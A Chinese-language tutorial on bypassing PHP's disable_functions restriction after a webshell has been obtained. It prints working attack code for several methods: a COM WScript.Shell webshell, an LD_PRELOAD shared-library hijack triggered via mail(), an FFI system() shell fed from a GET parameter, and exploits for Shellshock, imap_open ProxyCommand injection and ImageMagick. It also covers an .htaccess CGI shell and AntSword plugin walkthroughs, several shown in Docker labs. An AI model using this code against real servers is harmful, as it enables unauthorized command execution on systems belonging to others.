干貨|從零學習bypass disable_function
disable_functions
disable_functions是php.ini中的一個設置選項,可以用來設置PHP環境禁止使用某些函數,通常是網站管理員為了安全起見,用來禁用某些危險的命令執行函數等。

比如拿到一個webshell,用管理工具去連接,執行命令發現ret=127,實際上就是因為被這個限制的原因

黑名單
assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open
觀察php.ini 中的 disable_function 漏過了哪些函數,若存在漏網之魚,直接利用即可。
利用Windows組件COM繞過
查看com.allow_dcom是否開啟,這個默認是不開啟的。

創建一個COM對象,通過調用COM對象的exec替我們執行命令
$wsh = isset($_GET['wsh']) ? $_GET['wsh'] : 'wscript';
if($wsh == 'wscript') {
$command = $_GET['cmd'];
$wshit = new COM('WScript.shell') or die("Create Wscript.Shell Failed!");
$exec = $wshit->exec("cmd /c".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
}
elseif($wsh == 'application') {
$command = $_GET['cmd'];
$wshit = new COM("Shell.Application") or die("Shell.Application Failed!");
$exec = $wshit->ShellExecute("cmd","/c ".$command);
}
else {
echo(0);
}
?>

利用Linux環境變量LD_PRELOAD
初階
LD_PRELOAD是linux系統的一個環境變量,它可以影響程序的運行時的鏈接,它允許你定義在程序運行前優先加載的動態鏈接庫。
總的來說就是=LD_PRELOAD指定的動態鏈接庫文件,會在其它文件調用之前先被調用,借此可以達到劫持的效果。
思路為:
- 創建一個.so文件,linux的動態鏈接庫文件
- 使用putenv函數將
LD_PRELOAD路徑設置為我們自己創建的動態鏈接庫文件 - 利用某個函數去觸發該動態鏈接庫
這里以mail()函數舉例。在底層c語言中,mail.c中會調用sendmail,而sendmail_path使從ini文件中說明
; For Unix only. You may supply arguments as well (default: "sendmail -t -i"). ;sendmail_path =
默認為"sendmail -t -i"

但是sendmail并不是默認安裝的,需要自己下載
使用命令readelf -Ws /usr/sbin/sendmail可以看到sendmail調用了哪些庫函數,這里選擇geteuid


創建一個test.c文件,并定義一個geteuid函數,目的是劫持該函數。
#include
#include
#include
void payload() {
system("whoami > /var/tmp/sd.txt");
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
使用gcc編譯為.so文件
gcc -c -fPIC test.c -o test gcc -shared test -o test.so
這里有個坑:不要在windows上編譯,編譯出來是MZ頭,不是ELF。
然后再上傳test.so到指定目錄下。
最后創建shell.php文件,上傳到網站目錄下,這里.so文件路徑要寫對。
putenv("LD_PRELOAD=/var/www/test.so");
mail("","","","","");
?>
再理一下整個過程:當我們訪問shell.php文件的時候,先會將LD_PRELOAD路徑設置為惡意的.so文件,然后觸發mail()函數,mail函數會調用sendmail函數,sendmail函數會調用庫函數geteuid,而庫函數geteuid已經被優先加載,這時執行geteuid就是執行的我們自己定義的函數,并執行payload(),也就是代碼中的whoami命令寫入到sd.txt中。
由于拿到的webshell很有可能是www-data這種普通權限。整個過程要注意權限問題,要可寫的目錄下。


web訪問頁面沒有文件寫出,可以看看定義的目錄是否有權限。
進階版
在整個流程中,唯一擔心的是sendmail沒有安裝怎么辦,它可不是默認安裝的,而拿到的webshell權限一般也不高,無法自行安裝,也不能改php.ini。
而有前輩早已指出:無需sendmail:巧用LD_PRELOAD突破disable_functions細節已經說的非常明白,這里只復現,在此不再畫蛇添足。
去github下載三個重要文件:
bypass_disablefunc.php,bypass_disablefunc_x64.so或bypass_disablefunc_x86.so,bypass_disablefunc.c
將 bypass_disablefunc.php 和 bypass_disablefunc_x64.so傳到目標有權限的目錄中。這里很有可能無法直接上傳到web目錄,解決辦法就是上傳到有權限的目錄下,并用include去包含。

這里我已經卸載了sendmail文件

注意區分post和get

利用PHP7.4 FFI繞過
FFI(Foreign Function Interface),即外部函數接口,允許從用戶區調用C代碼。簡單地說,就是一項讓你在PHP里能夠調用C代碼的技術。當PHP所有的命令執行函數被禁用后,通過PHP 7.4的新特性FFI可以實現用PHP代碼調用C代碼的方式,先聲明C中的命令執行函數,然后再通過FFI變量調用該C函數即可Bypass disable_functions。具體請參考Foreign Function Interface
當前php版本為7.4.3

先看FFI是否開啟,并且ffi.enable需要設置為true

使用FFI::cdef創建一個新的FFI對象

通過c語言的system去執行,繞過disable functions。將返回結果寫入/tmp/SD,并在每次讀出結果后用unlink()函數刪除它。
$cmd=$_GET['cmd'];
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("$cmd > /tmp/SD"); //由GET傳參的任意代碼執行
echo file_get_contents("/tmp/SD");
@unlink("/tmp/SD");
?>

利用Bash Shellshock(CVE-2014-6271)破殼漏洞
利用條件php < 5.6.2 & bash <= 4.3(破殼)
Bash使用的環境變量是通過函數名稱來調用的,導致漏洞出問題是以“(){”開頭定義的環境變量在命令ENV中解析成函數后,Bash執行并未退出,而是繼續解析并執行shell命令。而其核心的原因在于在輸入的過濾中沒有嚴格限制邊界,也沒有做出合法化的參數判斷。
簡單測試是否存在破殼漏洞:
命令行輸入env x='() { :;}; echo vulnerable' bash -c "echo this is a test"如果輸出了vulnerable,則說明存在bash破殼漏洞

EXP如下:
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variableswhose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variablesthat
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
// PHP will let the user modify ANY environment variable!
//mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail
error_log('a',1);
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
選擇可上傳目錄路徑,上傳exp

包含文件執行

利用imap_open()繞過
利用條件需要安裝iamp擴展,命令行輸入:apt-get install php-imap在php.ini中開啟imap.enable_insecure_rsh選項為On;重啟服務。

基本原理為:
PHP 的imap_open函數中的漏洞可能允許經過身份驗證的遠程攻擊者在目標系統上執行任意命令。該漏洞的存在是因為受影響的軟件的imap_open函數在將郵箱名稱傳遞給rsh或ssh命令之前不正確地過濾郵箱名稱。如果啟用了rsh和ssh功能并且rsh命令是ssh命令的符號鏈接,則攻擊者可以通過向目標系統發送包含-oProxyCommand參數的惡意IMAP服務器名稱來利用此漏洞。成功的攻擊可能允許攻擊者繞過其他禁用的exec 受影響軟件中的功能,攻擊者可利用這些功能在目標系統上執行任意shell命令。
EXP:
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echot" . base64_encode($_GET['cmd'] .
">/tmp/cmd_result") . "|base64t-d|sh}";
//$server = 'x -oProxyCommand=echo$IFS$()' . base64_encode($_GET['cmd'] .
">/tmp/cmd_result") . '|base64$IFS$()-d|sh}';
imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or
var_dump("nnError: ".imap_last_error());
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>
利用Pcntl組件
如果目標機器安裝并啟用了php組件Pcntl,就可以使用pcntl_exec()這個pcntl插件專有的命令執行函數來執行系統命令,也算是過黑名單的一鐘,比較簡單。
exp為:
#pcntl_exec().php
pcntl_exec("/bin/bash", array("/tmp/b4dboy.sh"));?>
#/tmp/b4dboy.sh
#!/bin/bash
ls -l /
利用ImageMagick 漏洞繞過(CVE-2016–3714)
利用條件:
- 目標主機安裝了漏洞版本的imagemagick(<= 3.3.0)
- 安裝了php-imagick拓展并在php.ini中啟用;
- 編寫php通過new Imagick對象的方式來處理圖片等格式文件;
- PHP >= 5.4
ImageMagick介紹
ImageMagick是一套功能強大、穩定而且開源的工具集和開發包,可以用來讀、寫和處理超過89種基本格式的圖片文件,包括流行的TIFF、JPEG、GIF、 PNG、PDF以及PhotoCD等格式。眾多的網站平臺都是用他渲染處理圖片。可惜在3號時被公開了一些列漏洞,其中一個漏洞可導致遠程執行代碼(RCE),如果你處理用戶提交的圖片。該漏洞是針對在野外使用此漏洞。許多圖像處理插件依賴于ImageMagick庫,包括但不限于PHP的imagick,Ruby的rmagick和paperclip,以及NodeJS的ImageMagick等。
產生原因是因為字符過濾不嚴謹所導致的執行代碼. 對于文件名傳遞給后端的命令過濾不足,導致允許多種文件格式轉換過程中遠程執行代碼。
據ImageMagick官方,目前程序存在一處遠程命令執行漏洞(CVE-2016-3714),當其處理的上傳圖片帶有攻擊代碼時,可遠程實現遠程命令執行,進而可能控制服務器,此漏洞被命名為ImageTragick。EXP如下:
echo "Disable Functions: " . ini_get('disable_functions') . "";
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}
$exploit = <<push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>
漏洞原理參考p牛文章:https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html
漏洞復現
獲取和運行鏡像
docker pull medicean/vulapps:i_imagemagick_1 docker run -d -p 8000:80 --name=i_imagemagick_1 medicean/vulapps:i_imagemagick_1
訪問phpinfo.php,發現開啟了imagemagick服務

進入容器:docker run -t -i medicean/vulapps:i_imagemagick_1 "/bin/bash"

查看poc.php,這其實是已經寫好的poc,執行命令就是ls -la

驗證poc,在容器外執行docker exec i_imagemagick_1 convert /poc.png 1.png

利用 Apache Mod CGI
利用條件:
- Apache + PHP (apache 使用 apache_mod_php)
- Apache 開啟了 cgi, rewrite
- Web 目錄給了 AllowOverride 權限
關于mod_cgi是什么
http://httpd.apache.org/docs/current/mod/mod_cgi.html任何具有MIME類型application/x-httpd-cgi或者被cgi-script處理器處理的文件都將被作為CGI腳本對待并由服務器運行,它的輸出將被返回給客戶端。可以通過兩種途徑使文件成為CGI腳本,一種是文件具有已由AddType指令定義的擴展名,另一種是文件位于ScriptAlias目錄中。當Apache 開啟了cgi, rewrite時,我們可以利用.htaccess文件,臨時允許一個目錄可以執行cgi程序并且使得服務器將自定義的后綴解析為cgi程序,則可以在目的目錄下使用.htaccess文件進行配置。
如何利用
由于環境搭建困難,使用蟻劍的docker

在web目錄下上傳.htaccess文件
Options +ExecCGI AddHandler cgi-script .ant
上傳shell.ant
#!/bin/sh echo Content-type: text/html echo "" echo&&id
由于目標是liunx系統,linux中CGI比較嚴格。這里也需要去liunx系統創建文件上傳,如果使用windows創建文件并上傳是無法解析的。

直接訪問shell.xxx ,這里報錯,是因為沒有權限訪問

直接使用蟻劍修改權限

復現成功

利用攻擊PHP-FPM
利用條件
- Linux 操作系統
- PHP-FPM
- 存在可寫的目錄, 需要上傳 .so 文件
關于什么是PHP-FPM,這個可以看https://www.php.cn/php-weizijiaocheng-455614.html關于如何攻擊PHP-FPM,請看這篇淺析php-fpm的攻擊方式
蟻劍環境
git clone https://github.com/AntSwordProject/AntSword-Labs.git cd AntSword-Labs/1s/5 docker-compose up -d
連接shell后無法執行命令

查看phpinfo,發現目標主機配置了FPM/Fastcgi

使用插件

要注意該模式下需要選擇 PHP-FPM 的接口地址,需要自行找配置文件查 FPM 接口地址,本例中PHP-FPM 的接口地址,發現是 127.0.0.1:9000,所以這里改為127.0.0.1:9000

但是這里我死活利用不了

這里換了幾個版本還是不行,但看網上師傅利用是沒問題的
有感興趣想復現師傅看這里:https://github.com/AntSwordProject/AntSword-Labs/tree/master/1s/5
利用 GC UAF
利用條件
- Linux 操作系統
- PHP7.0 - all versions to date
- PHP7.1 - all versions to date
- PHP7.2 - all versions to date
- PHP7.3 - all versions to date
EXP關于原理通過PHP垃圾收集器中堆溢出來繞過 disable_functions 并執行系統命令。
搭建環境
cd AntSword-Labs/1s/6 docker-compose up -d
受到disable_function無法執行命令

使用插件成功執行后彈出一個新的虛擬終端,成功bypass

利用 Json Serializer UAF
利用條件
- Linux 操作系統
- PHP7.1 - all versions to date
- PHP7.2 < 7.2.19 (released: 30 May 2019)
- PHP7.3 < 7.3.6 (released: 30 May 2019)
利用漏洞POC
上傳POC到/var/tmp目錄下

包含bypass文件

也可以稍作修改


當然使用插件是最簡單的

利用iconv
利用條件
- Linux 操作系統
putenviconv- 存在可寫的目錄, 需要上傳
.so文件
利用原理分析https://hugeh0ge.github.io/2019/11/04/Getting-Arbitrary-Code-Execution-from-fopen-s-2nd-Argument/
利用復現:
獲得鏡像
git clone https://github.com/AntSwordProject/AntSword-Labs.git cd AntSword-Labs/1s/9 docker-compose up -d
無法執行命令

使用iconv插件bypass

創建副本后,將url改為/.antproxy.php

